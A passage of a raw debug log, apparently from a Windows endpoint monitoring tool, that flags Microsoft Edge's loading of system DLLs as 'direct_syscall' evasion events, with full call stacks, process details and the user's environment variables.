C:\Windows\System32\KernelBase.dll!RegisterGPNotificationInternal|0x7ffc8cf71e4d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71b2b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71aab C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a17 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175218 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7511618 +0100 CET + Params: base_address➜ 7ffcdc850000, checksum➜ 479562, default_address➜ 7ffcdc850000, file_path➜ C:\Windows\System32\shlwapi.dll, image_size➜ 421888, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b680fdc C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8ec9152a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ec91499 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f799 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175246 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7523282 +0100 CET + Params: base_address➜ 7ffcdda40000, checksum➜ 1029623, default_address➜ 7ffcdda40000, file_path➜ C:\Windows\System32\SHCore.dll, image_size➜ 991232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdc8584c2 C:\Windows\System32\shlwapi.dll!Ordinal21|0x7ffcdc8632f9 C:\Windows\System32\shlwapi.dll!SHRegGetValueFromHKCUHKLM|0x7ffc8ec9152a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ec91499 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f799 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175287 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7538637 +0100 CET + Params: base_address➜ 7ffcd3150000, checksum➜ 170846, default_address➜ 7ffcd3150000, file_path➜ C:\Windows\System32\wkscli.dll, image_size➜ 110592, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files 